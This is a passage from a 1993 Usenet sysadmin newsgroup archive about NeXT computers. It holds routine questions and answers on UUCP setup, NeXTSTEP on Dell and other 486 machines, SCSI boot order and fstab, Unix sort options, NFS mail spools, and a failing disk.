that opening /dev/cub failed (I am using cub instead of
cua because I have a serial mouse hooked to com1).
I ran uucico with debug level 9 and it reported error 13
when it tried to open cub. 13 is [EACCESS] in sys/errno.h.
So, I tried 'chown uucp.daemon /dev/cub) and I was greeted
by the kernel monitor when I tried uupoll. I had to reboot.
tip works fine with /etc/cub when I configure /etc/remote to
recognize it. It could be my modem, but I don't know for sure.
Any help/suggestion would be higly appreciated. Thanks.
-sagar@halcyon.com
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From: ruck@pdh.com (John R. Ruckstuhl Jr.)
Subject: Dell ships NS/486?
Message-ID: <C9Csrz.Ctx@pdh.com>
Organization: PDH, Inc.
Date: Mon, 28 Jun 1993 22:50:22 GMT
Recently, someone (Bill Vermillion?) wrote that Dell will ship NeXTStep
pre-installed on 486. I have a copy of a Dell/NeXT press release dated
15 April which announces that intention...
But I called Dell (1-800-BUY-DELL) and a salesperson said it isn't
shipping.
Does anyone know when it will be shipping, and if it already is, can you
give me a contact point?
Thanks.
Best regards,
ruck
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: Dell ships NS/486?
Message-ID: <C9D7n5.L30@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
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References: <C9Csrz.Ctx@pdh.com>
Date: Tue, 29 Jun 1993 04:11:28 GMT
In article <C9Csrz.Ctx@pdh.com> ruck@pdh.com (John R. Ruckstuhl Jr.) writes:
>Recently, someone (Bill Vermillion?) wrote that Dell will ship NeXTStep
>pre-installed on 486. I have a copy of a Dell/NeXT press release dated
>15 April which announces that intention...
>
>But I called Dell (1-800-BUY-DELL) and a salesperson said it isn't
>shipping.
>
>Does anyone know when it will be shipping, and if it already is, can you
>give me a contact point?
>
When I called Dell (same number you used), they were very confused. I
was able to get the number of a local sales rep who called me back and
put me on a mailing list for when it is actually happening.
Out of all the places I called, I had best luck with Data General.
Their people had even heard of NextStep. They sent me some info on
the configurations.
The place that was most in the dark about it was Hewlett-Packard. )-:
They're people (front line phones) didn't know what NextStep was. I
was to say the least, depressed...
-rob
---
Rob Francis Unix Systems Specialist, Indiana University
francisr@indiana.edu (812)855-0327
From: gary@ah3.cal.msu.edu (Gary J LaPointe)
Newsgroups: comp.sys.next.sysadmin
Subject: SPELL problem on my NeXT
Date: 29 Jun 1993 05:07:08 GMT
Organization: Michigan State University
Message-ID: <20oils$nqv@msuinfo.cl.msu.edu>
My SPELL command on my NeXT does NOT work on my machine (2.1 I think).
It used to work (at least I'm pertty sure it did).
It works on the other 4 NeXTs I work with.
If I SU it works fine.
I FTP'd all the files listed in the MAN page from one of the working
machines and it didn't help.
ANY suggestions?
Thanks,
Gary
--
Gary J LaPointe
gary@ah3.cal.msu.edu
Michigan State University
Center For Integrative Studies, Arts & Humanities
"Life would be a whole lot easier if
the things we really wanted
were the things we were willing to ask for."
From: gary@ah3.cal.msu.edu (Gary J LaPointe)
Newsgroups: comp.sys.next.sysadmin
Subject: cmsg cancel <20oils$nqv@msuinfo.cl.msu.edu>
Control: cancel <20oils$nqv@msuinfo.cl.msu.edu>
Date: 29 Jun 1993 05:59:48 GMT
Organization: Michigan State University
Message-ID: <20olok$mp3@msuinfo.cl.msu.edu>
Article cancelled from within tin [v1.2 PL0]
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From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: How to disable reset and power in login panel
Message-ID: <1993Jun29.104125.8412@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1993Jun25.043631.2488@znext.cts.com>
Date: Tue, 29 Jun 1993 10:41:25 GMT
In article <1993Jun25.043631.2488@znext.cts.com>
zeke@znext.cts.com (james dehnert) writes:
> Is there a way do disable the power and reset buttons on the main login
>pannel. I would rather not give that option to anyone sitting at the console.
They have that anyway. My objection is the "attractive nuisance"
those buttons present. (Watch this get fixed "real fast" once
Reid Paul Jobs is old enough to murder daddy's computer without
even touching the keyboard.)
In case you didn't know (hey, it's not in the Release Notes),
loginwindow in 3.1 recognizes some additional "fake" user names
along with the "console" and "exit" you're already familiar with:
power
reboot
rebootdos <- especially fun on Black Hardware :-)
rebootnext
Unlike the buttons, these do not require confirmation before
proceeding.
Note that
# dwrite loginwindow PowerOffDisabled YES
will disarm (but not remove) the buttons, and render power/reboot*
mostly harmless. Workspace>Log Out will still bring up a panel
offering a Power Off button--but it's then no worse than clicking
Log Out (or pressing Return).
I'd say NeXT really didn't think this out well.
-=EPS=-
From: cahalan@clouds.gsfc.nasa.gov (Robert F. Cahalan)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: command line faxing
Date: 29 Jun 1993 13:05:24 GMT
Organization: NASA Goddard Space Flight Center -- InterNetNews site
Distribution: world
Message-ID: <20peml$2ch@skates.gsfc.nasa.gov>
References: <20o13bINN5od@iskut.ucs.ubc.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
In article <20o13bINN5od@iskut.ucs.ubc.ca> cadence@unixg.ubc.ca writes:
> Does anyone know if it is possible to fax a text file from the unix
shell?
>
> Thanks
> John McMahon
That's something that's been asked for again and again. It ought to be
part of the standard user distribution from NeXT. We've hacked a way to
do it under 2.1 and 3.0, but I don't know if it works under 3.1 because
the lines you need to add to the postscript sent to lpr haven't been
documented. Let me know if you want to try using an unofficial hack, and
I'll send you a copy.
--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.Dr. Robert F. Cahalan (Bob)...#..Laboratory for Atmospheres......
.cahalan@clouds.gsfc.nasa.gov..#..NASA-Goddard Space Flight Center
.*** NeXTMail accepted ***.....#..Greenbelt, MD 20771.............
.FAX: (301) 286-1627...........#..voice: (301) 286-4276...........
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From: luis@elysia.fdn.org (Luis Arias)
Subject: How to send mail to folks on APPLELINK from the Internet ?
Message-ID: <1993Jun28.155833.11597@elysia.fdn.org>
Keywords: apple applelink mail
Sender: luis@elysia.fdn.org
Organization: Elysia - Rueil_Malmaison, France.
Distribution: world comp.sys.next.misc
Date: Mon, 28 Jun 1993 15:58:33 GMT
Hi,
Does anyone know how to send mail to an applelink address ?
Thanks.
---
Luis Arias
President
Elysia, Inc.
23, rue Buffon
92500 RUEIL-MALMAISON
FRANCE
[33] (1) 47 49 61 96
[33] (1) 47 14 99 08 fax
luis@elysia.fdn.org (NeXTmail ok)
--
Luis Arias
President
Elysia, Inc.
23, rue Buffon
Newsgroups: comp.sys.next.sysadmin
From: shawng@idcube.idsoftware.com (Shawn Green)
Subject: Re: Dell ships NS/486?
Message-ID: <1993Jun29.140707.6864@nntpxfer.psi.com>
Sender: news@nntpxfer.psi.com
Organization: Performance Systems Int'l
References: <C9Csrz.Ctx@pdh.com>
Date: Tue, 29 Jun 1993 14:07:07 GMT
In article <C9Csrz.Ctx@pdh.com> ruck@pdh.com (John R. Ruckstuhl Jr.) writes:
|> Recently, someone (Bill Vermillion?) wrote that Dell will ship NeXTStep
|> pre-installed on 486. I have a copy of a Dell/NeXT press release dated
|> 15 April which announces that intention...
|>
|> But I called Dell (1-800-BUY-DELL) and a salesperson said it isn't
|> shipping.
|>
|> Does anyone know when it will be shipping, and if it already is, can you
|> give me a contact point?
|>
|> Thanks.
|> Best regards,
|> ruck
We couldn't wait until DELL was ready to ship NSFI installed so we bought one
of the recommended DELL systems and then installed it our selves. If you want
info on specific setups from NeXT, you can send mail to nextanswers@next.com
and send HELP as the subject to get a list of available docs.
We were told about four weeks before NSFI installed on a DELL system would be
shipping. About two more weeks to go.
If you do decide to install it yourself, get a SCSI system. The IDE/SCSI mix
gave me hell. Also, get one of the recommended SCSI cards listed in the DELL
docs from nextanswers@next.com.
--
-Shawn Green (shawn@idsoftware.com)
Id Software
Send questions about Id software to help@idsoftware.com
(NeXTmail OK).
ftp.uwp.edu[131.210.1.4] Id "Official" anonymous FTP site
/pub/msdos/games/id Id games
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From: alvogel@rodan.acs.syr.EDU (Andrew L. Vogel)
Subject: UUCP problem
Message-ID: <1993Jun29.122547.8820@newstand.syr.edu>
Organization: Syracuse University, Syracuse, NY
References: <C9Csrz.Ctx@pdh.com> <1993Jun29.140707.6864@nntpxfer.psi.com>
Date: Tue, 29 Jun 93 12:25:47 EDT
I'm setting up a uucp connection between two Nextstations. Running
uucico in debug mode I get the following
root math (7/28-12:00-243) SUCCEEDED (call to math )
imsg looking for SYNC<
\20>
imsg input<Shere=math\0>got 10 characters
omsg <Sizebug -Q0 -x6>
imsg looking for SYNC<
\20>
imsg input<ROK\0>got 3 characters
msg-ROK
Rmtname math, Role MASTER, Ifn - 5, Loginuser - root
rmesg - 'P' imsg looking for SYNC<\20>
imsg input<Ptfg\0>got 4 characters
got Ptfg
wmesg 'U' g
omsg <Ug>
tries = 10
root math (7/28-12:03-243) FAILED (startup)
So, the two uucicos agree on the g protocol but then fail to talk?
Any ideas what I should do?
Newsgroups: comp.sys.next.sysadmin
From: monheit@decatur.stanford.edu (Mark Monheit)
Subject: pcnfsd under NS/FIP
Message-ID: <MONHEIT.93Jun29103342@decatur.stanford.edu>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: Psychology Department, Stanford U.
Date: 29 Jun 93 10:33:42
Does anyone know whether pcnfsd will compile and run under NS/FIP?
Is PC/NFS the best (a good) way to use a NS machine as a server for
DOS machines?
I seem to recall some recent discussion but, as usual, I wasn't paying
attention until I realized a need a couple days ago.
Thanks.
Mark
monheit@psych.stanford.edu
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From: icf@rchland.vnet.ibm.com (Ira Frosch)
Subject: Re: IBM Model 95's?
Sender: news@rchland.ibm.com
Message-ID: <1993Jun29.173913.41632@rchland.ibm.com>
Date: Tue, 29 Jun 1993 17:39:13 GMT
Disclaimer: This posting represents the poster's views, not necessarily those of IBM
References: <20no8m$s4v@oracle.pnl.gov>
Organization: IBM Rochester
Keywords: IBM, Install, NSI
In article <20no8m$s4v@oracle.pnl.gov>, jordan@warped.pnl.gov (Randy Jordan) writes:
|>
|> --
|>
|> Has anyone installed NSI on IBM 95's?
|>
|> The only 486 I can get to install NSI evaluation is
|> a new IBM 95 with 1GB SCSI disk and eather 16MB or 32MB
|> memory. I currently do not know what display device they
|> were ordered with, but I suspect that only standard VGA
|> was ordered. Does this mean I can only operate at 640/480
|> 2 bit graphics?
|>
|> Help....
|>
|> RJ
|> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|> To Thyne Own Self be true...
|> myne opinions are.
|> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|>
Sorry, Mod 95's are Microchannel...NeXT does not/will not support Microchannel machines, only the new PS/Valuepoints....
Ira
Newsgroups: comp.sys.next.sysadmin
From: dlewis@fnma.com
Subject: Re: How to send mail to folks on APPLELINK from the Internet ?
Message-ID: <1993Jun29.182315.20827@almserv.uucp>
Sender: usenet@almserv.uucp
Organization: Fannie Mae
References: <1993Jun28.155833.11597@elysia.fdn.org>
Distribution: world comp.sys.next.misc
Date: Tue, 29 Jun 1993 18:23:15 GMT
In article <1993Jun28.155833.11597@elysia.fdn.org> luis@elysia.fdn.org
(Luis Arias) writes:
> Hi,
>
> Does anyone know how to send mail to an applelink address ?
>
> Thanks.
Try [applelinkacctname]@applelink.com ???
DL
--
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Senior Software Engineer
On contract to: Federal National Mortgage Association (Fannie Mae)
dlewis@fnma.com (NeXTmail OK), 202-752-4785
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From: fblau@well.sf.ca.us (Frank Blau)
Subject: CD-ROM Jukebox for NeXT
Message-ID: <C9EC2s.Gox@well.sf.ca.us>
Sender: news@well.sf.ca.us
Organization: The Whole Earth 'Lectronic Link, Sausalito, CA
Date: Tue, 29 Jun 1993 18:44:51 GMT
Does anyone know of a CD-ROM jukebox that allows users on a net to access
CD-ROMS from a NeXT workstation?
Thanks
--
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From: marianne@stevie.uchicago.edu (Marianne Guntow)
Subject: How do you boot from another disk???
Message-ID: <1993Jun29.190541.8539@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago Computing Organizations
Date: Tue, 29 Jun 1993 19:05:41 GMT
Hello :-)
I'm very confused. I'm trying to get my NeXT to boot up from a different
disk than its used to and I can't seem to make it do it. I've got an
internal 400MB drive set to SCSI ID #4 (don't ask :-) and an external 1GB
drive set to SCSI ID #0. I try doing bsd(1,0,0) from the NeXT> prompt but
it still boots from the external drive (sd0). When I disconnect the
external drive, it boots from the internal one just fine. I thought maybe
it had something to do with my fstab file so I made some changes and
managed to break it but good (wouldn't boot and root was mounted read
only).
my current fstab:
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
/dev/sd1a /herbie 4.3 rw,noquota,noauto 0 1
the super-broken fstab that I tried:
/dev/sd1a / 4.3 rw,noquota,noauto 0 1
/dev/sd0a /stevie 4.3 rw,noquota,bg 0 2
Maybe its silly but I really don't understand why this broke this so
badly. I tried the above fstab along with bsd(1,0,0) -rootdev=sd1a but
that didn't help at all.
While the machine is booting while its still running through init (I
think), I see these messages (not exact):
sound0 at 0x8233
root on sd0
master cpu at slot 0
The root on sd0 would seem to be the whole problem. When fixing my
horrendous fstab problem, I booted from a floppy and noticed that it said
root on fd instead of sd0. So, I guess the question is, how do you control
this?
If anyone can offer some advice, I'd really appreciate it. Please send
e-mail to gun6@midway.uchicago.edu as I don't read the group regularly
anymore :-( and my mail is probably going to be erratic at best until I
get this problem fixed.
Thanks in advance,
Marianne Guntow
gun6@midway.uchicago.edu
Newsgroups: comp.sys.next.sysadmin
From: kdburg@incoahe.hanse.de (Klaus Dahlenburg)
Subject: Re: Nice fast modem is slow, Why?
Message-ID: <1993Jun28.060823.5882@incoahe.hanse.de>
Organization: Hanse Networking eV., Hamburg; Germany
References: <1993Jun26.232155.19552@ifi.unizh.ch> <20jnlgINN7k@theborg.stack.urc.tue.nl>
Date: Mon, 28 Jun 93 06:08:23 GMT
annard@theborg.stack.urc.tue.nl (Annard Brouwer) writes:
[...] stuff deleted
>If you use NeXT uucp you must enlarge the packet size to 1024 or 2048 to make
>the g-protocol more efficient, but read on...
this may be done between 2 computers running NeXTstep only. If the other site
is running any other OS it's very likely that he will core dump, as most
uucps can't handle packages greater than 64. If the other site is running
SysV use 'G' instead of 'g' protocol. Also make shure that the DTE - DCE
speed is set to a value which will not slow down the modem (you can run
the line at 14400 and the modem -- computer at 2400!); I found out that
19200(EXTA) works best on outbound while 38400 (EXTB) is best on inbound.
But you can't change just in the middle so I left it at 19200. With 38400
the computer pumps to much stuff down the line so that the modem's buffer
get's filled too fast and it will drop the CTS.
>> Taylor UUCP:
>> Anyone got it to work ??
>
>Yup, we use it over here and it's great, especially the i-protocol which uses
>the full-duplex capability of most modems to send data both ways at the same
[...] some stuff deleted
take note: the protocol, the speed and other things have to be negotiated
between the two sites, so if the other site isn't running Taylor than there
is no 'i' protocol but most of the time a 'g' protocol.
Klaus
--
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P.O.Box 1267 Fax : +49 4287 676
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Germany (w) Timezone : GMT + 2
++EOM++
From: blandfom@math.enmu.edu (Michael Blandford)
Newsgroups: comp.sys.next.sysadmin
Subject: Help with exported directories
Date: 29 Jun 1993 19:04:37 GMT
Organization: Mathematical Sciences Department
Distribution: world
Message-ID: <20q3o5INN9nt@almond.enmu.edu>
I have a HP 730, a Sun IPC, and several NeXT's. The HP is new. It was
purchased to be a file server for the other machines. Anyway I am having
a few problems.
1) Mail: I exported /usr/mail on the HP. Mounted it as /usr/spool/mail
on the NeXT`s and Sun. When you try to use mail it hangs for a
period of time, then shows you the new mail listings and exits.
You never get to read mail.
However if you use mail -f /usr/spool/mail/user it works great.
2) Users cant un tar files. It always gives them a permission denied
when trying to create directories and files etc...The files still
have the original owners ID's. This only happens in the directories
that are exported from the HP.
If you can help with these problems I would appreciate it. Thanks
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From: dave@guinness.huma.yorku.ca (David Aspinall)
Subject: Re: How do you boot from another disk???
Message-ID: <C9EF5q.3n9@newshub.ccs.yorku.ca>
Sender: news@newshub.ccs.yorku.ca (USENET News System)
Organization: York University, Humanities Department
References: <1993Jun29.190541.8539@midway.uchicago.edu>
Date: Tue, 29 Jun 1993 19:51:26 GMT
I tried to mail this reply, but it bounced...
In article <1993Jun29.190541.8539@midway.uchicago.edu> you write:
: Hello :-)
:
: I'm very confused. I'm trying to get my NeXT to boot up from a
different
: disk than its used to and I can't seem to make it do it. I've got an
: internal 400MB drive set to SCSI ID #4 (don't ask :-) and an external
1GB
: drive set to SCSI ID #0. I try doing bsd(1,0,0) from the NeXT> prompt
but
: it still boots from the external drive (sd0). When I disconnect the
: external drive, it boots from the internal one just fine. I thought
maybe
: it had something to do with my fstab file so I made some changes and
: managed to break it but good (wouldn't boot and root was mounted read
: only).
:
: my current fstab:
: /dev/sd0a / 4.3 rw,noquota,noauto 0 1
: /dev/sd1a /herbie 4.3 rw,noquota,noauto 0 1
:
I would change this.. see below ^^^^^^
: the super-broken fstab that I tried:
: /dev/sd1a / 4.3 rw,noquota,noauto 0 1
: /dev/sd0a /stevie 4.3 rw,noquota,bg 0 2
: Maybe its silly but I really don't understand why this broke this so
: badly. I tried the above fstab along with bsd(1,0,0) -rootdev=sd1a but
: that didn't help at all.
:
The problem here is that you are trying too hard :) When a SCSI
controller boots up, it searches the chain for a SCSI device with the
lowest id. So an internal drive with id 4 and an external drive with id
1 will result in a boot from the external drive. The external drive will
appear as sd0a and the internal drive would then be sd1a. In other
words
the SCSI controller will automaticly renumber the SCSI device numbers as
it sees fit.
What happens if you just type "bsd"? the way you describe it, it
should just work...
My fstab, to mount my cube, with 2 1.4Gb drives is:
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
/dev/sd1a /usr/Disk2 4.3 rw 1 2
In your case, I might try something like:
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
/dev/sd1a /herbie 4.3 rw 1 2
: While the machine is booting while its still running through init (I
: think), I see these messages (not exact):
:
: sound0 at 0x8233
: root on sd0
: master cpu at slot 0
:
Root is always on the boot device.
: The root on sd0 would seem to be the whole problem. When fixing my
: horrendous fstab problem, I booted from a floppy and noticed that it
said
: root on fd instead of sd0. So, I guess the question is, how do you
control
: this?
:
This is because the boot device was fd0a
: If anyone can offer some advice, I'd really appreciate it. Please send
: e-mail to gun6@midway.uchicago.edu as I don't read the group regularly
: anymore :-( and my mail is probably going to be erratic at best until I
: get this problem fixed.
:
: Thanks in advance,
: Marianne Guntow
: gun6@midway.uchicago.edu
Hope this helps
Dave
--
David Aspinall ---------- Former-Former-NeXT Campus Consultant
E-mail : cs911409@ariel.yorku.ca | I'd rather be
NeXTMail: dave@ccs.yorku.ca | rich than stupid
V-mail : (416) 663-4997 | -- Jack Handey
--
David Aspinall ---------- Former-Former-NeXT Campus Consultant
E-mail : cs911409@ariel.yorku.ca | I'd rather be
NeXTMail: dave@ccs.yorku.ca | rich than stupid
V-mail : (416) 663-4997 | -- Jack Handey
Newsgroups: comp.sys.next.sysadmin
From: chuck herrick
Subject: Re: Mail images
Message-ID: <1993Jun29.200240.23512@dvorak.amd.com>
Followup-To: misc.test
Originator: herrick@auhp14.amd.com
Sender: <charles.herrick@amd.com>
Organization: I speak only for myself.
References: <1993Jun17.205555.1486@cesar.uucp> <1vsfsd$cah@balu.hnv.icem.de>
Date: Tue, 29 Jun 93 20:02:40 GMT
In article <1vsfsd$cah@balu.hnv.icem.de> js@c91024 (Juergen Sell) writes:
>: I am a UUCP site dialing-out to my news/mail feed.
>
>: Please send replys directly to my account.
>
>me too, please.
>
me three :-)
--
Chuck Herrick <charles.herrick@amd.com>
(512) 462-6248 (w) (512) 462-4812 (FAX) (512) 480-0757 (h)
PO Box 18804 Austin, TX 78760-8804
From: glenn@rightbrain.com (Glenn Reid)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to disable reset and power in login panel
Message-ID: <1252@rtbrain.rightbrain.com>
Date: 29 Jun 93 21:28:25 GMT
References: <1993Jun29.104125.8412@csus.edu>
Sender: glenn@rightbrain.com
Eric P. Scott writes
> those buttons present. (Watch this get fixed "real fast" once
> Reid Paul Jobs is old enough to murder daddy's computer without
^^^^
> even touching the keyboard.)
I'm flattered, of course, but it's actually Reed Paul Jobs :-)
--
Glenn Reid NeXTmail: glenn@rightbrain.com
RightBrain Software 415-326-2974 (NeXTfax 326-2977)
Palo Alto, California Electronic Frontier Foundation, member #054
From: brunkhorst@mayo.edu (Geoff Brunkhorst)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT sort(1) and NeXTanswers
Date: 29 Jun 1993 22:06:01 GMT
Organization: Mayo Foundation
Distribution: world
Message-ID: <20qec9$1pn@fermat.mayo.edu>
I am trying to sort the Master Index of NeXTanswers (1001), and
I am running into a problem with sort. Not being a unix tool
wiz, it appears that
sort -u +0.70 -0.78 1001 > output.file
should sort the file without any problem, since it is a
space padded file. It's not. The order is consistent,
but I can't figure out what sort thinks I requesting as
a key.
I move the file over to VMS (where I'm a bit more comfortable
with the sort command, and it sorts fine with the command
sort/key=(pos:70,size:8) 1001 output.file
thanks for any help...
- Geoff
-----------------------------------------------------------------
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Research Computing Facility, Guggenheim 10 (507) 284-1805
Mayo Foundation, Rochester MN, 55905, USA fax (507) 284-5231
Newsgroups: comp.sys.next.sysadmin
From: scott@geom.umn.edu (Scott S. Bertilson)
Subject: Re: NeXT sort(1) and NeXTanswers
Message-ID: <C9EqK1.2Fu@news2.cis.umn.edu>
Sender: news@news2.cis.umn.edu (Usenet News Administration)
Organization: Geometry Center, University of Minnesota
References: <20qec9$1pn@fermat.mayo.edu>
Date: Tue, 29 Jun 1993 23:52:09 GMT
In article <20qec9$1pn@fermat.mayo.edu> brunkhorst@mayo.edu writes:
>sort -u +0.70 -0.78 1001 > output.file
I don't know what the actual file looks like, but perhaps it is
pertinent to remember that the Unix "sort" sees any white space as
a field delimiter by default...so any blanks before column 70 will
put you into field 1 instead of field 0. You need to pick some
character that is unused in the file (at least before column 78) and
force "sort" to use it as the tab (field delimiter):
sort -t~ -u +0.70 -0.78 1001 > output.file
--
Newsgroups: comp.sys.next.sysadmin
From: fxars@camelot.acf-lab.alaska.edu (Al Sparks)
Subject: Re: NeXT sort(1) and NeXTanswers
In-Reply-To: brunkhorst@mayo.edu's message of 29 Jun 1993 22: 06:01 GMT
Message-ID: <FXARS.93Jun29170053@ix.acf-lab.alaska.edu>
Sender: news@raven.alaska.edu (USENET News System)
Organization: University of Alaska Fairbanks
References: <20qec9$1pn@fermat.mayo.edu>
Date: Wed, 30 Jun 1993 02:00:53 GMT
In article <20qec9$1pn@fermat.mayo.edu> brunkhorst@mayo.edu (Geoff Brunkhorst) writes:
> sort -u +0.70 -0.78 1001 > output.file
>
> should sort the file without any problem, since it is a
> space padded file. It's not. The order is consistent,
> but I can't figure out what sort thinks I requesting as
> a key.
I don't know what 1001 looks like. But unix sort, unlike VAX/VMS sort
works on fields with a field separator. The default is a space or
tab. If the file is padded with spaces, then you may have to change
to "sort -u +1 -1" with the decimal points indicating where you want
to sort. Or change the default field separator (with the -t modifier)
to something innocuous, in which case, your way will work.
=== Al
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: WriteNow in black 3.1
Date: 30 Jun 1993 00:18:39 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <20qm4v$n55@mathserv.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
I noticed that WriteNow is missing in 3.1. Can I use the one from 3.0 (or
earlier)? Will it work? Take care...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.marketplace,comp.sys.next.sysadmin
Subject: Re: Dell ships NS/486?
Message-ID: <ibhan.741400409@husc.harvard.edu>
From: ibhan@husc8.harvard.edu (Ishir Bhan)
Date: 30 Jun 93 00:33:29 GMT
References: <C9Csrz.Ctx@pdh.com> <C9D7n5.L30@usenet.ucs.indiana.edu>
I called Micron computers, since they seem to have good deals. They new
about NeXTStep and said they were "very interested in getting it running
on our machines." He said the only problem was that NS didn't support the
vidoe card they were using (a high perforance Diamond Viper graphics card
with a Weitek P9000 RISC chip). This seems like an excellent NeXTStep
machine. Does anyone know if NS is planning a driver for this card? And
when?
--
******************************************************************************
Ishir Bhan * "It takes years to find the nerve..."
ibhan@husc.harvard.edu * -New Order, "All The Way"
******************************************************************************
From: brunk@feynman (Geoff Brunkhorst)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT sort(1) and NeXTanswers
Date: 30 Jun 1993 01:22:58 GMT
Organization: Mayo Foundation
Distribution: world
Message-ID: <20qpti$3k6@fermat.mayo.edu>
References: <20qec9$1pn@fermat.mayo.edu>
>I am trying to sort the Master Index of NeXTanswers (1001), and
>I am running into a problem with sort. Not being a unix tool
>wiz, it appears that
>
>sort -u +0.70 -0.78 1001 > output.file
Of course, spaces aren't spaces, they're whitespace delimiters. Arg.
You know, if you take the worst of VMS and the worst of Unix, you
may get an OS that is worse than MS-DOS... Wait a minute... what is
Cutler working on, anyway?;-)
Thanks to all who responded.
--
- Geoff
-----------------------------------------------------------------
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From: shin@nop.han.de (Hoen-oh Shin)
Subject: Appending files to existing streamer archives
Message-ID: <1993Jun27.122336.409@nop.han.de>
Sender: shin@nop.han.de
Organization: Hoen-oh Shin, Hannover, Germany [IN]
Date: Sun, 27 Jun 93 12:23:36 GMT
Hello,
I would like to add files to an existing archive on tape (WANGTEK 510000, 1GB).
Tar (-r, -u option) doesn t work.
Any help will be greatly appreciated.
Thanks!
Newsgroups: comp.sys.next.sysadmin
From: peter@corsica (Peter Eisch)
Subject: Re: Nextdimension memory
Message-ID: <C9EyI0.7oq@news2.cis.umn.edu>
Sender: news@news2.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota
References: <1993Jun16.100632.7116@resonex.com> <1993Jun24.165943.21148@ringer.cs.utsa.edu>
Date: Wed, 30 Jun 1993 02:43:43 GMT
I have two programs, one does a 'hostinfo' and the other does a 'vm_stat'
type of thing on the ND. They run under 2.x. If anyone could use them,
send me email and I'll NeXTmail/MIME you the execs (no source, sorry).
peter
Daniel Shelton (dan@ennex1.eng.utsa.edu) wrote:
: In article <1993Jun16.100632.7116@resonex.com> zenon@resonex.com (Zenon
: Fortuna) writes:
..
: If you boot up a NeXT with 3.0 in verbose mode, a message will be printed
: on the screen indicating how much DRAM there is on the ND but you have to
: look for it because it is located in the last 2 or 3 lines of the boot
: sequence.
..
--
I felt his rocket science training was inadequate.
peter@tahiti.umhc.umn.edu (Peter Eisch)
From: jmd@cube.handheld.com (Jim De Arras)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Netware login with user login?
Date: 30 Jun 1993 02:00:42 GMT
Organization: Hand Held Products, Inc.
Distribution: world
Message-ID: <20qs4aINNpqg@clem.handheld.com>
Now that NetWare is working for us, and we use netware printers, which require
you be logged into the netware server when printing to them, and just fail if
you aren't, I would like to set up the NeXT to login the users with thier
proper netware id and password when they login to the windowserver.
I would also like to log them out when they log out of the window server.
This would use the nwlogin and nwlogout commands. I do not want the login and
logout to be automatic on telnet sessions.
Any suggestions?
Jim
--
jmd@handheld.com
Newsgroups: comp.sys.next.sysadmin
From: kwang@data.acs.calpoly.edu (Kevin John Wang)
Subject: Re: COPS
Message-ID: <1993Jun30.024929.138724@zeus.calpoly.edu>
Sender: news@zeus.calpoly.edu
Organization: Cal Poly State University, San Luis Obispo
References: <133176@netnews.upenn.edu>
Date: Wed, 30 Jun 1993 02:49:29 GMT
In article <133176@netnews.upenn.edu> anstine@uniblab.sas.upenn.edu (David
Anstine) writes:
> Does anyone have a hacked version of COPS that is netinfo-aware?
I'm slowly working on a full port that will check for specific net-info
holes as well. things like world modifiable printer stuffs, and other.
- Kevin Wang
Newsgroups: comp.sys.next.sysadmin
From: rich@pencil.cs.missouri.edu (Rich Winkel)
Subject: Floppies mounted R/O. Why?
Message-ID: <rich.741385861@pencil>
Sender: news@mont.cs.missouri.edu
Organization: University of Missouri
Date: 29 Jun 93 20:31:01 GMT
I have a Next turbostation running Mach 3.0. I insert a floppy,
with its write-tab set to write, and the machine mounts it R/O.
I put the same disk in another turbostation, (running 2.2) and it mounts
it R/W.
What to do???
Thanks for any help!
Rich
From: rcc@next1.math.pitt.edu (robert cyphers)
Newsgroups: comp.sys.next.sysadmin
Subject: SCSI I/O error - trashed home directory
Keywords: SCSI
Message-ID: <15508@blue.cis.pitt.edu>
Date: 30 Jun 93 13:30:33 GMT
Sender: news+@pitt.edu
I am running a NeXTCube server (NeXT Mach 2.1) and have a couple of
NetInfo/NFS clients running NeXT Mach 3.0. Yesterday a SCSI disk on the
NetInfo/file server apparently went beserk and started wiping out files
which belonged to a user who is running NS3.0 on his machine (and mounting
his home directory from the server).
His home dir is on an external MAXTOR disk mounted on /usrd, which a 'df'
shows as:
next1:rcc% df /usrd
Filesystem kbytes used avail capacity Mounted on
/dev/sd1d 251051 178564 47381 79% /usrd
The server console log shows:
Software Version 2.1 (Warp6.11)
Target 2: MEDIA ERROR; block 1e8eb0H retry 1
When I do a directory listing of his home directory I get 'not found'
errors:
next1:rcc% ls -alAF /usrd/djh
NeXT not found
cshs not found
Library not found
Mailboxes not found
prg not found
Home.sense not found
total 584
drwxr-xr-x 28 djh 2048 Jun 22 08:09 ./
drwxr-xr-x 5 djh 1024 Nov 20 1992 ../
-rw------- 1 djh 7 May 10 15:49 .Active.datebk
drwxrwxrwt 3 djh 1024 Apr 13 1992 .NextTrash/
[ETC...]
A 'du' on his home directory gives lots of 'I/O error' messages like:
